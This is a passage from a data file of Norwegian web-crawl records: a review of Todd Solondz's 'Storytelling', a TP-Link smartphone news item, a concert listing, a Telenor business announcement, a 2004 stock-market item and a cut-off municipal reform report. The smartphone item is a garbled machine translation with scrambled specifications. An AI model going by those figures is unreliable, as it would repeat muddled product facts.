Solondz' univers av mistilpassede karakterer. Alle blir gjort til latter, ogs\u00e5 regiss\u00f8ren selv.\n\nSannhetens natur, satt opp mot historiefortellingens l\u00f8gnaktige form, er fellesnevneren for de to historiene *Storytelling* er bygget opp av. F\u00f8rste delen, \"Fiction\", er lagt til et collegemilj\u00f8 p\u00e5 midten av 80-tallet, mens \"Non-fiction\" forteller om en dokumentarfilmskaper som f\u00f8lger en umotivert high school-elev og hans familie.  \n  \nI \"Fiction\" innleder en professor i litteratur, Mr. Scott, et forhold til en av sine unge kvinnelige studenter. Han har vunnet Pulitzerprisen, uten at dette har \u00e5pnet noen d\u00f8rer for ham. Han underviser p\u00e5 et tredjerangs college og er bitter. Mr. Scott tar sin hevn ved \u00e5 forf\u00f8re sine unge kvinnelige studenter, der m\u00e5let er \u00e5 knuse dem psykisk. Selma Blair ( *Legally Blond*), spiller Vi, studenten som nettopp har avsluttet forholdet til kj\u00e6resten som lider av cerebral parese, og som tiltrekkes av sin sterke l\u00e6rer.  \n  \nI \"Non-Fiction\" m\u00f8ter vi Toby, en mislykket dokumentarfilmskaper, en New Yorker som ikke har klart \u00e5 realisere seg selv. Prosjektet hans n\u00e5 er \u00e5 lage film om ungdom p\u00e5 high school. Han f\u00f8lger Scooby og hans familie, The Livingstons. Scooby er uinteressert i videre studier, men er veldig opptatt av \u00e5 komme p\u00e5 tv, eller spille i film. Han vil bli talk-show-vert.  \nThe Livingstons er en perfekt familie \u00e5 lage humor-dokumentar om, her finnes den godmodige far (John Goodman fra *O Brother Where Art Thou?*), en nerv\u00f8s mor og den irriterende veslevoksne lillebroren. Toby portretterer disse menneskene fra deres d\u00e5rligste sider, uten en gang \u00e5 v\u00e6re klar over det selv.  \n  \nTodd Solondz skaper svart komedie der latteren stopper p\u00e5 vei ut, og man m\u00f8ter sine egne vrangforestillinger i d\u00f8ra. En ubehagelig form for underholdning man ikke kan v\u00e6re likegyldig til.  \nMed *Storytelling* utforsker Todd Solondz ogs\u00e5 begreper som kj\u00f8nn, rase, ber\u00f8mmelse og utnyttelse.  \n  \n  \n**Todd Solondz**  \nTodd Solondz er f\u00f8dt 15. oktober 1959, p\u00e5 New Jersey i USA og debuterte som regiss\u00f8r med kortfilmen *Shatts Last Shot* og spillefilmdebuterte med *Fear, Anxiety and Depression* (1989). I begge disse filmene spilte han ogs\u00e5 hovedrollen selv. Solondz slo igjennom internasjonalt, etter \u00e5 ha lagt skuespillerkarrieren p\u00e5 hylla, med *Welcome to the Dollhouse* (1995). Filmen vant juryens spesialpris under Sundance filmfestival og ble ogs\u00e5 hedret med pris i Berlin samme \u00e5r. I 1998 kom *Happiness* som b\u00e5de vant filmkritikernes pris i Cannes og ble nominert til Golden Globe for beste manus i 1999. Todd Solondz n\u00e5del\u00f8se karakteristikker av amerikansk middelklasse har gjort ham til en av v\u00e5r tids mest kontroversielle regiss\u00f8rer.  \n  \n  \n**Om sannhet og fiksjon**  \n(av Geir Gulliksen  \nforlagsredakt\u00f8r, Oktober)  \n\"Det finnes ikke noe godt norsk ord for non-fiction, det er kanskje betegnende at det ikke finnes noe godt engelsk ord heller. \"Non-fiction\" er jo bare en nektelse, en litt halvhjertet p\u00e5stand, ikke-fiksjon, og grunnen til det er kanskje at det ikke finnes noe slikt som en helhjertet p\u00e5stand om en sann historie.  \n  \nI \"Fiction\" uttaler skrivel\u00e6reren, som er en Pultizerpris-bel\u00f8nnet forfatter, at s\u00e5 snart du begynner \u00e5 skrive, vil alt du forteller bli fiksjon. Det er noe alle som har fors\u00f8kt \u00e5 skrive vil vite: n\u00e5r du skriver en roman, blir alt du skriver inn i den fiktivt, uansett hvor biografisk utgangspunktet ditt m\u00e5tte v\u00e6re. Og poenget med det er selvf\u00f8lgelig at hvis du \u00f8nsker \u00e5 fortelle din egen historie kommer du til \u00e5 mislykkes - hvis du ikke mislykkes er det fordi du har begynt \u00e5 se p\u00e5 din egen historie som fiksjon.  \n  \nMen vi vet jo ogs\u00e5 at de sanne historiene ikke er s\u00e5 veldig sanne i journalistikken heller. Alle som har sett media omtale noe man selv kjenner godt til, vet at det du ser i avisen eller p\u00e5 tv bare har en svak og nesten tilfeldig forbindelse med det som blir omtalt. Begreper som \"story\" og \"vinkling\" og \"aktualitet\" og om det er en \"sak\" eller en \"ikke-sak\" er bestemmende for hva det er mulig \u00e5 si, i media. Dramaturgien bestemmer alt. I beste fall er detaljene riktige. Men det det egentlig handler om, blir borte. I fiksjonsfortellinger er det i beste fall omvendt: detaljene beh\u00f8ver ikke v\u00e6re riktige, men grunnf\u00f8lelsen, kjernen, m\u00e5 f\u00f8les sann.  \n  \nHvis sannheten er en fiksjon, er fiksjonen ogs\u00e5 den eneste sannhet. Vi vet jo at enhver historie kan fortelles p\u00e5 mange m\u00e5ter, fra ulike vinkler. N\u00e5r vi vet at nyhetene er en slags fiksjon, tror vi p\u00e5 de fiktive nyhetene.\"  \n  \n\n", "language": "no", "__index_level_0__": "70e2106f-6b1f-4b6d-9122-1308413922a5"}
{"url": "http://no.amtelefon.com/tp-link-aduce-pe-piata-romaneasca-trei-smartphone-uri-accesibile/mobile-apps/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-24T23:28:35Z", "text": "# TP-Link bringer til markedet tre rumenske smartphones tilgjengelige\n\nFeiring av 20 \u00e5r i selskapet **TP-Link** tiln\u00e6rming markerte en ny visuell identitet med en moderne logo som representerer den nye retningen selskapet er p\u00e5 vei. Sammen med nettverksutstyr for forbrukere og bedrifter, og initiativ til \u00e5 koble s\u00e5 mange enheter \"smart hjem\" Internett **TP-Link** Han presenterte tre modeller **smarttelefon**ATV under merkevaren \"**Neff**\"Hvem vil snart komme i butikkene i Romania.\n\n\n\nDe tre mobil**Neff** **C5, C5 Max og C5L**Vil bli rettet mot brukere som er ute etter billige telefoner og h\u00f8ye markedssegmenter ytelse inkludert lav og mellomtoner. De er accessorized med Qualcomm og MediaTek brikkesett kommer med st\u00f8tte for to SIM-kort, st\u00f8tte for LTE-nettverk og operativsystem **Android 5.1**.\n\nDen**Neff C5L** Det er den yngste, terminalens entry-level range Neff. Den leveres med en visning av 4,5 \"FWVGA oppl\u00f8sning (piksler 854 480 x) **Snapdragon quad-core brikkesett 210** CPU fra Qualcomm klokket til 1,1 GHz, GB RAM 1, 8 GB lagringsplass og kameraer 8, 2 megapiksler hhv. 2.000 mAh batteri b\u00f8r gi autonomi en dag gitt tekniske spesifikasjoner. Den store fordelen med denne modellen er den lave prisen som helt sikkert vil tiltrekke seg mange brukere.\n\n**Neff C5** Det er plassert i midten av tilbudet **smarttelefon**CES fra TP-Link. Den har en IPS-skjerm 720p 5 \"og MediaTek brikkesett er utstyrt med en quad-core CPU MT6735 med 1,3 GHz. C5 leveres som standard med 2 GB RAM, GB lagringsplass 16, 8 og 5 megapiksel kamera og dobbel LED-blits bak kamera.\n\nDen kraftigste av serien Neff, **Max C5**Er ikke mye kraftigere enn C5, men kommer med en st\u00f8rre skjerm, det 5,5 \"med Full HD-oppl\u00f8sning, brikkesett MediaTek okta-core CPU 6753 fra 1,3 GHz 2 16 GB GB RAM og lagringsplass. Hovedrommet i 13 megapiksler er utstyrt med et objektiv f / 2.0 og 3.045 mAh batteriet til enheten tyder p\u00e5 at atutonomia ikke vil komme ut av boksen.\n\nin ANDROID - GOOGLE, Android Apps, Android Nyheter, mobile Apps, mobile nyheter August 24, 2016 0 2,078 Visninger\n", "language": "no", "__index_level_0__": "0bd7f06b-d592-4b74-9b93-a2fd7ec94c79"}
{"url": "http://v2.blaaoslo.no/arrangementer/7-nov-russian-circles-chelsea-wolfe/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00258.warc.gz", "warc_date": "2018-03-24T23:36:10Z", "text": "## Torsdag 7. november:\n\n\n\n# Russian Circles & Chelsea Wolfe + Torsdagsklubb: Syndens P\u00f8l (DJ \u00d8by\\&Toft)\n\n### \\+ SYNDENS P\u00d8L DJ's: \u00d8BY\\&TOFT\n\nDet er duket for en konsertopplevelse uten like, med en dobbel headlinerkonsert\\! Begge bandene har fylt henholdsvis Revolver og Bl\u00e5 til randen hver for seg tidligere\n\n**Chelsea Wolfe**\n\nVi er s\u00e5 heldige at vi f\u00e5r, for 3. gang, bes\u00f8k av Chelsea Wolfe her p\u00e5 Bl\u00e5. S\u00e5nn sett kan de fleste skj\u00f8nne at hun absolutt ikke har skuffet oss f\u00f8r. Denne gangen er hun p\u00e5 turn\u00e9 i forbindelse med slipp av sin nye kritikerroste plate Pain Is Beauty. Pitchfork har blant annet uttalt at dette er b\u00e5de det beste og mest emosjonelle hun har gitt ut s\u00e5 langt. S\u00e5 det er bare \u00e5 glede seg\\! P\u00e5 denne turn\u00e8en har hun og med seg post-metal bandet Russian Circles, som har nettopp kommet ut med ny plate som Chelsea har koret p\u00e5.\n\nCaliforniabaserte Chelsea Wolfe har alltid omfavnet b\u00e5de det lyse og m\u00f8rke. Selv om musikken bunner i elektrisk folk ispedt black metal og m\u00f8rk blues er den aldri desperat.\u00a0\n\nIstedenfor pakker den seg inn i et h\u00f8stlig pledd av mennesklige erfaringer og triumfer.\u00a0Stemmen hennes er forlokkende og intim og tekstene annerkjenner obskuriteter og de mer melankolske \u00f8yeblikkene i livet. Lokal og personlig stormannsgalskap. Ikke overraskende er det lett \u00e5 trekke paraleller til musikere som Nick Cave og Selda Bagcan, filmskapere som Ingmar Bergman og John Waters - vi kan til og med unne oss et lite vink til Antony Hegarty - alle med en veldig dramatisk og filmatisk tiln\u00e6rming til sitt virke.\n\nWolfes egen personlige vinkling til Noir-romantikken startet i en tidlig alder. Som 9-\u00e5ring pleide hun \u00e5 snike seg inn i faren sitt studio for \u00e5 spille obscure versjoner av andres l\u00e5ter p\u00e5 et forskrudd keyboard. Men dette skjedde alldeles i stillhet og ble aldri fortalt til noen andre og tanken p\u00e5 \u00e5 lage musikk som andre skulle ville h\u00f8re streifet henne ikke f\u00f8r for noen \u00e5r siden.\n\nMen i 2009 kom \u00e5penbaringen etter \u00e5 ha tilbrakt 3 m\u00e5neder med en performance-gruppe som regelrett bedrev en nomadisk turn\u00e8virksomhet og satte opp forestillinger p\u00e5 all slags mulige steder. Gudene m\u00e5 vite hvor. Det er ikke relevant i sammenhengen heller, men en boble sprakk og vel hjemme spilte hun inn 2 album p\u00e5 rappen med materiale som til slutt endte opp som debutalbumet - nydelige The Grime & The Glow (Pendu Sound, 2010).\n\nEtter suksessen hun opplevde med debutalbumet flyttet hun fra skauen og til den forgjettede storbyen Los Angeles og startet umiddelbart p\u00e5 arbeidet med oppf\u00f8lgeren som ordrett faktisk klarte \u00e5 f\u00f8lge opp forl\u00f8peren, nemlig fjor\u00e5rets \u1f08\u03c0\u03bf\u03ba\u03ac\u03bb\u03c5\u03c8\u03b9\u03c2 (eller \"Apokalypsis\" for de uinnvidde). Albumet karret seg inn p\u00e5 solide plasseringer n\u00e5r en samlet presse skulle oppsummere musikk\u00e5ret 2011.\n\n**Russian Circles** er et band som ble danna i 2004, og er et band fra Chicago.\u00a0 Deres siste skive som ble sluppet i oktober 2013, heter Memorial og deres 5. Det som er kanskje mest umiddelbart karakteristiske for den skiva, er Memorial sitt brede spekter av f\u00f8lelser . Med variasjonen fra dystre , men likevel svevende melodier p\u00e5 ett spor til hardbarka metal p\u00e5 neste , h\u00f8res Memorial ut som et album med splitta personlighet.\n\n\"Vi har alltid pr\u00f8vd \u00e5 balansere v\u00e5re metal-sound med mer nyanserte , pene, orkestrale elementer , \" sier\u00a0 Cook. \" Men denne gangen ligger det mer i at de tunge delene er mye mer bl\u00e5st ut og overdrevet mens de vakre partiene er mer behersket , delikate og atmosf\u00e6riske . \" Trioen fokuserte p\u00e5 at hver enkel sang skal ha sine egne emosjonelle og musikalske egenskaper . P\u00e5 den m\u00e5ten\u00a0 f\u00f8les Memorial nesten som stadier av sorg. \n\n\u00a0\nOg JA, vi gleder oss\\!\n\n1.  ### 1\\.\n    \n    ### Jakob Skogli:\n    \n    15\\. August 2013, kl. 21:04\n    \n    Er det heelt umulig \u00e5 f\u00e5 gjort noe med aldersgrensen slik at en stakkars 19-\u00e5ring kan f\u00e5 med seg favorittbandet sitt?\n\n", "language": "no", "__index_level_0__": "18bdc4f7-54a8-4626-96cb-2ccc95ef1689"}
{"url": "https://www.securityworldmarket.com/no/Nyheter/Bedriftsnyheter/telenor-inn-i-det-skandinaviske-nettverks-og-sikkerhetsmarkedet-med-full-tyngde", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00667.warc.gz", "warc_date": "2018-03-24T23:44:07Z", "text": "# Telenor inn i det skandinaviske nettverks- og sikkerhetsmarkedet med full tyngde\n\n\n\n Eivind Hauglie-Hanssen er CEO i Telenor Inpli\n\nNorske Datametrix og svenske Network Services blir i dag til ett selskap med det felles navnet Telenor Inpli. Med dette tar Telenor st\u00f8rre grep om bedriftsmarkedet i Norge og Sverige, med m\u00e5l om \u00e5 bli den ledende akt\u00f8ren innen nettverk og sikkerhet.\n\nNorske Datametrix har v\u00e6rt 100 prosent eid av Telenor siden 2008. I 2017 kj\u00f8pte Datametrix svenske Network Services. Totalt omsatte de to selskapene for 1,5 MRD i 2017 og g\u00e5r n\u00e5 til markedet under en felles merkevare for \u00e5 bli en sterk og slagkraftig akt\u00f8r i det skandinaviske infrastrukturmarkedet. Eivind Hauglie-Hanssen er CEO i Telenor Inpli som teller over 400 ansatte totalt.\n\n\u2013 IT-infrastruktur er samfunnskritisk og blir bare viktigere etterhvert som samfunnet digitaliseres og stadig flere enheter kobles til nett. Det er derfor helt naturlig at vi tar en tydeligere posisjon i dette markedet. At satsningen n\u00e5 f\u00e5r en tydelig Telenor-merkevare signaliserer at vi har klare ambisjoner i dette markedet, sier Ove Fredheim, leder for Telenor Bedriftsmarked og styreleder i Telenor Inpli.\n\n**Rendyrker satsningen**\n\nTelenor Inpli spisser strategien og rendyrker n\u00e5 selskapet innen nettverk og sikkerhet.\n\nI tillegg vil selskapet tilby samhandlingsl\u00f8sninger levert som tjenester.\n\n\u2013 Vi fokuserer p\u00e5 v\u00e5re historiske kjerneomr\u00e5der. Alle virksomheter trenger \u00e5 bygge en digital grunnmur slik at de b\u00e5de kan digitalisere tjenester og prosesser, og drive forretningsutvikling og innovasjon for fremtidig l\u00f8nnsomhet, sier CEO Eivind Hauglie-Hanssen i Telenor Inpli.\n\n**Bygger skandinavisk organisasjon**\n\n\u2013 V\u00e5re konkurrenter skal merke at vi n\u00e5 f\u00e5r Telenor i ryggen med full tyngde. Vi bygger en skandinavisk organisasjon med et felles tjenestetilbud og kundebetjening p\u00e5 tvers i Skandinavia. Vi skal v\u00e6re skandinaviske i alt vi gj\u00f8r, noe som gj\u00f8r oss godt posisjonert til \u00e5 v\u00e6re med v\u00e5re kunder over landegrensene. Vi er store, men fleksible og evner \u00e5 snu oss rask og m\u00f8te kundens behov, sier Hauglie-Hanssen.\n\n**Kunden\u00e6r innovasjon for den digitale transformasjon**\n\nIT-infrastruktur er selve hovedpuls\u00e5ren i enhver virksomhet, og er ogs\u00e5 helt essensiell for \u00e5 realisere den digitale transformasjonen alle virksomheter m\u00e5 gjennom. Med innsikt, forst\u00e5else for kundens mulighetsrom og solid teknisk kompetanse er Telenor Inpli en proaktiv partner for kundene i denne prosessen, og bist\u00e5r dem med \u00e5 utvikle nye digitale tjenester og forretningsmodeller.\n\n\u2013 V\u00e5r store fordel er solid kompetanse og erfaring, samt at vi kan levere l\u00f8sninger og tjenester p\u00e5 tvers av gamle skillelinjer mellom operat\u00f8r og integrator. Vi vil tilby en kommunikasjonsplattform og en sikkerhetsplattform som vil v\u00e6re fundamentet for b\u00e5de sikker daglig drift og fremtidig innovasjon og digitalisering, avslutter Hauglie-Hanssen\n\n\n\nFoto: Gjensidige\n\n", "language": "no", "__index_level_0__": "a8dc6d1b-57c7-475e-86bb-f53695af5781"}
{"url": "https://www.digi.no/artikler/it-opptur-med-george-bush/297248", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:37:47Z", "text": "# IT-opptur med George Bush\n\nIT-aksjene har steget betydelig p\u00e5 amerikanernes valg av George W. Bush som president. Les hvorfor her:\n\n  - Yngve Bj\u00f8rlykke\n  - Resultaterfinans\n  - 5\\. nov. 2004 - 09:58\n\nNasdaq steg \u00e8n prosent til 2023 poeng i g\u00e5r. Dagen f\u00f8r passerte indeksen den magiske 2000-grensen. Ikke siden juli har IT-aksjene st\u00e5tt s\u00e5 h\u00f8yt i kurs.\n\nValget i USA har hatt en positiv effekt for IT-aksjene. Flere markedsakt\u00f8rer mener at valget av George W. Bush som president har medvirket til dette.\n\n**Noen mener senator John Kerrys planer om \u00e5 fors\u00f8ke \u00e5 begrense tjenesteutsetting (outsourcing) ville f\u00e5tt en negativ effekt for IT-selskapene. De mener ogs\u00e5 at George Bush\\`generelle politikk med skattekutt vil v\u00e6re fordelaktig for selskapene.**\n\nB\u00f8rsoppturen i USA har ogs\u00e5 gitt ringvirkninger til Oslo B\u00f8rs. De norske IT-aksjene har steget kraftig den siste uken. **Her er utviklingen siste uke:**\n\nTandberg: 7,5 %\n\nTandberg Data: 6,7 %\n\nTandberg Television: 3,4 %\n\nSoftware Innovation: 16,7 %\n\nEDB Business Partner: 0,94%\n\nEmentor: 5,61 %\n\nTelenor: 1,4 %\n\nVisma: 1,6 %\n\nBirdstep: 6,25 %\n\nKomplett: 1,3 %\n\nMamut: 3,25 %\n\n", "language": "no", "__index_level_0__": "cd967fd0-503c-4455-9d3c-8a600af3c621"}
{"url": "http://docplayer.me/3229802-Kommunereform-utredning-tjenesteyting-og-myndighetsutovelse.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00748.warc.gz", "warc_date": "2018-03-25T00:33:16Z", "text": "\n\n3 1 Innledning 1.1 Oppdrag Kommunestyrene i Gran og Lunner vedtok 30. oktober 2014, i henholdsvis sak 103/14 og sak 131/14, Program for prosess, organisering og framdrift Kommunereform, fase 1 og 2. Programmet fastlegger hvilke utredninger som skal ligge til grunn n\u00e5r kommunene skal ta stilling til om de sammen skal etablere en felles kommune p\u00e5 Hadeland. 1.2 Mandat Tjenesteproduksjonen har ulike dimensjoner, - det v\u00e6re seg kvalitet, tilpasning til innbyggernes behov og effektivitet. Innbyggerne har \u00f8kende forventninger til de kommunale tjenestene og statlige krav f\u00f8rer til \u00f8kt behov for kompetanse og kvalifikasjoner i kommunene. Lunner kommune og Gran kommune har i dag en rekke interkommunale samarbeider. Noen av samarbeidene er ogs\u00e5 med andre kommuner, da s\u00e6rlig Jevnaker kommune. Vedlegg 6.1 viser en oversikt over de interkommunale samarbeidene. Kommunesektoren er i mange sammenhenger tillagt myndighetsut\u00f8velse. Kommunens tjenesteproduksjon omfatter en rekke oppgaver som i hovedsak er regulert gjennom kommuneloven og ulike s\u00e6rlover. Disse lovene p\u00e5legger kommunene \u00e5 yte bestemte tjenester eller de g\u00e5r ut p\u00e5 \u00e5 gi kommunene myndighet til \u00e5 sette i verk p\u00e5bud eller forbud, gi tillatelser, godkjenninger eller dispensasjoner. B\u00e5de i forhold til tjenesteyting og myndighetsut\u00f8velse er rettssikkerhet og likeverdig behandling viktige element i forholdet mellom kommunen og innbyggerne. Utredningsarbeidet vil ta utgangspunkt i f\u00f8lgende problemstilling: Tjenesteyting: Hva er sterke og svake sider ved de kommunene som tjenesteyter i dag? Hvilke utfordringer har kommunene n\u00e5r det gjelder kompetanse, spesialisering og rekruttering? Hva er utfordringene i forhold til forventet demografisk utvikling fram mot 2040? Hva er erfaringene med interkommunalt tjenestesamarbeid? P\u00e5 hvilken m\u00e5te kan en ny kommune skape et bedre tjenestetilbud? Hva vil det etablering av en st\u00f8rre kommune ha \u00e5 si for innbyggernes tilgjengelighet og n\u00e6rhet til de ulike tjenestene? I en st\u00f8rre kommune vil mange f\u00e5 lenger avstand til kommunesenteret. Hva vil det bety for tilgang til tjenester? Vil en st\u00f8rre og mer kompleks organisasjon gj\u00f8re det vanskeligere \u00e5 finne fram til \u00abrette vedkommende\u00bb? Myndighetsut\u00f8velse: Skaper mangel p\u00e5 kapasitet og kompetanse utfordringer for myndighetsut\u00f8velsen i de to kommunene i dag? Hva er omfanget av klager, og hvordan fordeler disse seg p\u00e5 kommunene og de ulike forvaltningsomr\u00e5der? Hvordan er saksbehandlingstidene? Kartlegge praksis i forhold til dispensasjoner og delegering Har kommunen gode rutiner og systemer for myndighetsut\u00f8velse? Hvilke utfordringer er avdekket gjennom statlige tilsyn? I hvilken grad er det problemer med habilitet, og hvilke utfordringer skaper dette? Muligheter for \u00e5 etablere gode systemer for egenkontroll. Vil st\u00f8rre avstand og mindre lokalkunnskap hos kommunal myndighet skape problemer? Vil det bli vanskeligere \u00e5 finne \u00abrette vedkommende\u00bb i en sak, og vil beslutningsfatteren bli mindre tilgjengelig? Vil det bli mer tidkrevende for den enkelte \u00e5 legge fram \u00absin sak\u00bb for rette vedkommende? Vil rapporterings- og beslutningsgang bli lengre og mer tungrodd? 3\n\n\n\n4 1.3 Arbeidsform Arbeidsgruppe tjenesteyting og forvaltning har hatt f\u00f8lgende sammensetning: Henning Antonsen Grunnskolesjef, Gran Tone Reidem Helse- og omsorgssjef, Gran Janicke Brechan Leder Familie og Oppvekst, Lunner Bente Rudrud, koordinator Kommunalsjef, Lunner 1.4 Framdriftsplan Det har v\u00e6rt gjennomf\u00f8rt m\u00f8ter hver 2. uke fra og med januar I sluttf\u00f8ringen av rapporten har det v\u00e6rt gjennomf\u00f8rt hyppigere m\u00f8ter, i tillegg til at det er jobbet individuelt med innhold. P\u00e5 flere omr\u00e5der har gruppa f\u00e5tt innspill/bistand fra andre ressurspersoner i de respektive kommunene. Sammen med hovedtillitsvalgte i begge kommunene er det gjennomf\u00f8rt ansattcafe for \u00e5 f\u00e5 innspill til rapporten. Denne ble gjennomf\u00f8rt 17. mars fra kl med 25 deltagere. Deltagerne hadde meldt sin interesse for \u00e5 delta selv etter invitasjon fra hovedtillitsvalgte. Arbeidsgruppa har avgrenset noe av dr\u00f8ftingene knyttet til utfordringer og muligheter. Blant annet er ikke valgfrihet spesielt behandlet, da tilbakemeldinger fra ansattcafeen ga signaler om at dette er en marginal utfordring. Videre er praksis for delegering ikke beskrevet, da dette er ivaretatt av utredning Demokrati. 4\n\n\n\n\n\n6 3 Tjenesteyting i dagens situasjon Utredningen vil beskrive de ulike kommunale tjenestene i Gran og Lunner kommune, samt mulige konsekvenser ved en ny kommune. Arbeidsgruppa har tatt utgangspunkt i hvordan tjenestene er organisert i dag. Produksjonsindeksen (Kommunedata) og KOSTRA er lagt til grunn for enkelte analyser og vurderinger. Behovet for kompetanse og spesialisering innen de ulike tjenesteomr\u00e5dene, tjenesteyting generelt, tilgjengelighet og habilitet er tema som blir dr\u00f8ftet. 3.1 Hvor mottar innbyggerne tjenester i dag? Det er i dagen en desentralisert struktur p\u00e5 flere av tjenesteomr\u00e5dene. Dette er vesentlig i forhold til tilh\u00f8righet og identitet til flere av kommunenes tettsteder. En slik struktur vil v\u00e6re krevende inn i en ny kommune, da det forventes flere og mer spesialiserte tjenester som skal ytes av kommunene. Under slike forutsetninger vil det v\u00e6re naturlig at tjenesteytingen samlokaliseres til f\u00e6rre tettsteder. Dette underst\u00f8ttes ogs\u00e5 av regional plan for Hadeland. Harestua/ Grua Roa Lunner Gran Jaren Brandbu Offentlige tjenestetilbud Barnehage Ja Ja Ja Ja Ja Ja Barneskole Ja Nei Ja Ja Ja Ja Ungdomsskole Ja Ja Nei Ja Nei Ja Vidareg\u00e5ende skole Nei Nei Nei Ja Nei Nei Sykehjem Nei Nei Ja Ja Nei Ja Frivilligsentral Nei Ja Nei Ja Nei Ja Omsorgsboliger Ja Ja Ja Ja Ja Ja Dagsenter Nei Ja Ja Ja Ja Ja Legekontor Ja Ja Nei Ja Ja Ja R\u00e5dhus Nei Ja Nei Nei Ja Nei Landbrukskontor Nei Nei Nei Nei Ja Nei NAV Nei Nei Nei Ja Nei Nei Lensmann Nei Nei Nei Ja Nei Nei Kirke Ja Ja Ja Ja Ja Ja Forretninger (type) Dagligvarer Ja Ja Ja Ja Ja Ja Apotek Nei Nei Nei Ja Nei Ja Bensinstasjon Ja Ja Ja Ja Ja Ja Bilforretning Ja Ja Nei Ja Ja Nei Private tjenester Bank Ja Nei Nei Ja Nei Ja Advokat Nei Nei Ja Ja Nei Ja Fritidstilbud Ridesenter Nei Ja Ja Ja Nei Ja Badestrand Ja Ja Nei Nei Ja Ja Fotballbaner Ja Ja Ja Ja Nei Ja Lysl\u00f8ype Ja Ja Nei Ja Ja Ja Kino Nei Nei Nei Nei Nei Ja Bibliotek Ja Ja Nei Ja Nei Ja Sv\u00f8mmehall Ja Ja Nei Ja Nei Ja Idrettshall Nei Ja Nei Ja Nei Ja Grendehus Ja Ja Ja Ja Ja Ja Kulturhus Nei Nei Nei Ja Nei Nei Misjonshus/bedehus Ja Ja Ja Ja Ja Ja Figur 1 Tjenestetilbud i kommunene Det ytes et bredt spekter av tjenester, b\u00e5de kommunalt og privat, i kommunene. Innbyggerne er allerede vant med at enkelte tjenester l\u00f8ses sentralisert, og gjennom interkommunale samarbeid. En videref\u00f8ring av slik samordnet struktur, med utvidelse p\u00e5 enkelte omr\u00e5der, som for eksempel areal- og planmyndighet, vil sannsynligvis ikke oppleves som spesielt negativt for innbyggerne. En eventuell fremtidig endring av struktur vil kunne gi lengre avstander og/eller st\u00f8rre enheter. Sm\u00e5 enheter opplever blant annet krevende \u00f8konomiske rammer, mindre fleksibilitet og st\u00f8rre utfordringer med rekruttering og kompetanseutvikling. Strukturendringer vil kreve en st\u00f8rre gjennomgang, b\u00e5de i forhold til tilbud, kvalitet og \u00f8konomi for \u00e5 kunne gjennomf\u00f8res. 6\n\n\n\n7 3.2 Produksjonsindeksen 2013 Produksjonsindeksen er et samlem\u00e5l for kommunenes tjenestetilbud basert p\u00e5 produksjonsindikatorer for utvalgte sektorer. Indeksen omfatter alle sektorer bortsett fra administrasjon, teknisk sektor, samferdsel, bolig og n\u00e6ring. Totalt omfatter indeksen om lag 74 pst av kommunenes brutto driftsutgifter i Indeksen sier noe om hvor godt tjenestetilbud som blir gitt til innbyggerne i ulike m\u00e5lgrupper, og er ikke i seg selv et uttrykk for hvor effektiv kommunen er. Landsgjennomsnittet er 100, og i tabellen ser vi i hvilken grad Gran og Lunner avviker fra dette. Avvik representerer b\u00e5de prioriteringer og m\u00e5loppn\u00e5else. HOVEDTALL Lunner Gran Jevnaker Nittedal Oppland Netto driftsresultat i prosent av samlede driftsinntekter 0,3-0,1 1,5 2,3 - Korrigert inntekt (frie inntekter per innbygger korrigert for variasjoner i utgiftsbehov) 95,3 93,2 91,4 95,2 97,8 Samlet score p\u00e5 produksjonsindeksen 95,8 100,3 98,3 93,0 101,3 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Barnehage (BH) 0,16 99,0 96,7 94,5 100,9 98,5 Korrigerte oppholdstimer i kom, og priv, barnehager iftbehovskorrigert innbyggertall 0,80 102,7 97,4 Andel ansatte med f\u00f8rskolel\u00e6rerutdanning 0,10 85,6 88,0 Antall m2 leke og uteareal per barn i alle barnehager 0,10 83,4 99,7 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Grunnskole (GS) 0,27 97,8 100,0 98,1 99,6 98,6 Grunnskolepoeng (korrigert) 0,75 99,6 101,9 L\u00e6ringsmilj\u00f8 0,19 102,2 99,9 Andel innbyggere i alderen 6-9 \u00e5r med plass i kommunale SFO 0,03 76,6 122,1 Andel av brukerne av kommunale SFO med fulltidsplass 0,03 43,3 29,5 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Prim\u00e6rhelsetjeneste (PH) 0,05 101,5 110,8 93,8 90,8 111,4 Antall timer per uke av leger ift behovskorrigert innbyggertall 0,43 98,8 119,3 Antall timer per uke av fysioterapeuter ift behovskorrigert innbyggertall 0,36 107,5 118,7 Antall helseunders\u00f8kelser barn og svangerskapskontroller ift behovskorrigert innbyggertall 0,20 96,6 78,6 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Pleie og omsorg (PO) 0,36 90,2 97,7 99,6 91,1 102,7 Mottakere av hjemmetjenester ift behovskorrigert innbyggertall 0,43 89,2 84,1 Beboere i institusjon i alt ift behovskorrigert innbyggertall 0,37 87,0 117,0 Andelen av institusjonsplasser som er i enerom 0,09 106,7 97,0 Andel tjenestemottakere med minst to hjemmetjenester 0,11 91,0 86,6 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Barnevern (BV) 0,04 116,2 107,5 158,4 103,6 106,1 Barn omfattet av barnevernsunders\u00f8kelse ift behovskorrigert innbyggertall 0,26 113,7 90,5 Barn 0-17 \u00e5r omfattet av tiltak ift behovskorrigert innbyggertall 0,54 121,1 123,0 Andel ansatte med fagutdanning 0,20 106,4 88,0 Sektor / Indikator Vekt Sektorvekt Lunner Gran Jevnaker Nittedal Oppland Sosialkontortjenester (SK) 0,06 121,9 121,0 92,8 76,0 107,4 Antall mottakere av \u00f8konomisk sosialhjelp ift behovskorrigert innbyggertall 0,46 131,2 135,9 Gjennomsnittlig utbetaling per st\u00f8nadsm\u00e5ned 0,46 114,6 110,1 Nettoutgifter til kvalifiseringsordningen ift behovskorrigert 